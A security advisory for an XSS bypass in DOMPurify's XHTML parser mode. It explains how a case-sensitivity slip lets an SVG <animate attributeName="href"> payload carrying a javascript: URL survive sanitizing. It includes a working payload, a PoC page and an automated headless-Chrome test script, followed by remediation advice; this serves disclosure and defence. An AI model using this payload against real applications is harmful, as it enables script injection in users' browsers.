GHSA-c6gr-qvv4-5v3f: XSS
Summary
DOMPurify drops attributeName attributes whose value contains href, so an allowed <animate> or <set> can't rewrite a link's href after sanitizing. The check compares the attribute name after transformCaseFunc, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled attributeName, so the comparison with "attributename" never matches and the guard does nothing.
An app that uses PARSERMEDIATYPE: 'application/xhtml+xml' and allows animate and attributeName will keep <animate attributeName="href" values="x;javascript:alert(1)">. Clicking the parent link then runs the script.
This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.
Details
In sanitizeAttributes (dist/purify.js line 2216 in 3.4.16):
js const lcName = transformCaseFunc(name); ... if (lcName === "attributename" && stringMatch(value, "href")) { removeAttribute(name, currentNode, attr); continue; }
transformCaseFunc is stringToLowerCase for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name attributeName, so in XHTML mode lcName is attributeName and the branch never runs.
People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so ALLOWEDATTR/ADDATTR: ['attributeName', ...] is the config you'd naturally write here.
The value also passes the URI check. ISALLOWEDURI only checks the start of the string, and x;javascript:alert(1) looks like a relative value. SMIL reads values as a ; list and, with fill="freeze", the last entry ends up as the effective href of the parent <a>.
In text/html mode the same allowlist is handled correctly. The name is lowercased and attributeName is removed.
This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.
Proof of concept
Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.
Config:
js const cfg = { PARSERMEDIATYPE: 'application/xhtml+xml', ALLOWEDTAGS: ['svg', 'a', 'animate', 'text'], ALLOWEDATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], };
{ PARSERMEDIATYPE: 'application/xhtml+xml', USEPROFILES: { svg: true }, ADDTAGS: ['animate'], ADDATTR: ['attributeName'] } behaves the same.
Input:
html <svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>
Steps:
1. Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.
html <html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title> <script src="purify.js"></script></head><body><div id="sink"></div> <script>//<![CDATA[ const cfg = { PARSERMEDIATYPE: 'application/xhtml+xml', ALLOWEDTAGS: ['svg', 'a', 'animate', 'text'], ALLOWEDATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>'; const clean = DOMPurify.sanitize(dirty, cfg); console.log(clean); document.getElementById('sink').innerHTML = clean; //]]></script></body></html>
2. The logged output still contains attributeName="href" and values="x;javascript:alert(1)". 3. document.getElementById('q').href.animVal returns "javascript:alert(1)". 4. Click "click" and alert(1) runs.
As a control, remove PARSERMEDIATYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.
An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.
<details> <summary>poc.sh</summary>
bash #!/usr/bin/env bash PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode. Sanitizes an SVG payload with a PARSERMEDIATYPE:"application/xhtml+xml" config that allow-lists <animate> + attributeName, renders the output into div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse event and reports whether alert() fired. Also runs the same allowlist in text/html mode as a control (DOMPurify strips attributeName there). usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via npm pack) DOMPURIFYJS=/path/to/purify.js ./poc.sh CHROME=/path/to/chrome ./poc.sh needs: node >= 18, npm (unless DOMPURIFYJS is set), a Chromium/Chrome binary. exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error set -euo pipefail VER="${1:-3.4.16}" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT
if [ -z "${DOMPURIFYJS:-}" ]; then (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; } DOMPURIFYJS="$WORK/package/dist/purify.js" fi if [ -z "${CHROME:-}" ]; then for c in "$HOME"/.cache/ms-playwright/chromiumheadlessshell-/chrome-headless-shell-linux64/chrome-headless-shell \ "$HOME"/.cache/ms-playwright/chromium-/chrome-linux/chrome \ "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break done fi [ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }
cat > "$WORK/poc.html" <<'EOF' <!doctype html><meta charset="utf-8"><title>poc</title> <script src="purify.js"></script> <div id="sink"></div> <script>//<![CDATA[ const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' + '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' + '<text x="10" y="40" font-size="30">click</text></a></svg>'; function run(mode) { const cfg = { ALLOWEDTAGS: ['svg', 'a', 'animate', 'text'], ALLOWEDATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'], }; if (mode === 'xhtml') cfg.PARSERMEDIATYPE = 'application/xhtml+xml'; const clean = DOMPurify.sanitize(payload, cfg); document.getElementById('sink').innerHTML = clean; return clean; } //]]></script> EOF cp "$DOMPURIFYJS" "$WORK/purify.js" Same test inside a real XHTML document (no HTML<->XHTML context flip): the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser. sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \ -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \ -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"
cat > "$WORK/drive.js" <<'EOF' // zero-dependency CDP driver over --remote-debugging-pipe const { spawn } = require('childprocess'); const [chrome, url, dir] = process.argv.slice(2); const xurl = url.replace(/\.html$/, '.xhtml'); const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run', --user-data-dir=${dir}/profile, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] }); let id = 0, buf = ''; const pend = new Map(), dialogs = []; p.stdio[4].on('data', (d) => { buf += d; let i; while ((i = buf.indexOf('\0')) >= 0) { const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1); if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); } else if (m.method === 'Page.javascriptDialogOpening') { dialogs.push(m.params.message); send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId); } } }); function send(method, params = {}, sessionId) { return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); }); } const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); (async () => { const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' }); const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true }); await send('Page.enable', {}, s); await send('Runtime.enable', {}, s); const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value; let vulnerable = false, xhtmlDoc = false; const ver = async () => ev('DOMPurify.version'); for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) { await send('Page.navigate', { url: page }, s); await sleep(500); const docType = await ev('document.contentType'); if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]')); dialogs.length = 0; const clean = await ev(run(${JSON.stringify(mode)})); await sleep(400); // let the 0.01s animation apply (fill=freeze) const href = await ev((()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()); const box = await ev((()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()); if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased']) await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s); await sleep(800); console.log(\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean}); console.log( animated <a> href (animVal): ${JSON.stringify(href)}); console.log( alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}); if (mode === 'xhtml' && dialogs.length) vulnerable = true; if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0; } console.log(vulnerable ? \nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'}) : '\nRESULT: not vulnerable'); p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1); })().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); }); EOF node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
</details>
Impact
Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow animate (or set) with attributeName, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/dompurifyto a version that resolves this vulnerability.Fixed in 3.4.17 - Configuration
Remove `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and change the SVG allowlist entry from camel-case `attributeName` to lowercase `attributename`, so the XHTML-mode `animate` payload's `attributeName` is not retained.
DOMPurify PARSER_MEDIA_TYPE and SVG attribute allowlist = Use the default text/html parser and allow-list `attributename` instead of `attributeName`
Event History
Frequently Asked Questions
Which deployments are exposed?
Only applications configured to sanitize as application/xhtml+xml and to allow both the animate element and the attributeName attribute are described as exposed. This is a non-default configuration issue rather than a bypass of DOMPurify's default configuration.
What must an attacker be able to do to exploit this?
An attacker must be able to submit markup that is processed by the affected sanitizer configuration. The retained SVG animation can rewrite a parent link's href to a javascript: URL, and script execution occurs when a user clicks that link.
How can I determine whether my application is affected?
Review DOMPurify configuration for PARSER_MEDIA_TYPE set to application/xhtml+xml, along with allowlisting of animate and attributeName. If all of those conditions are present for attacker-controlled markup, the described payload can survive sanitization.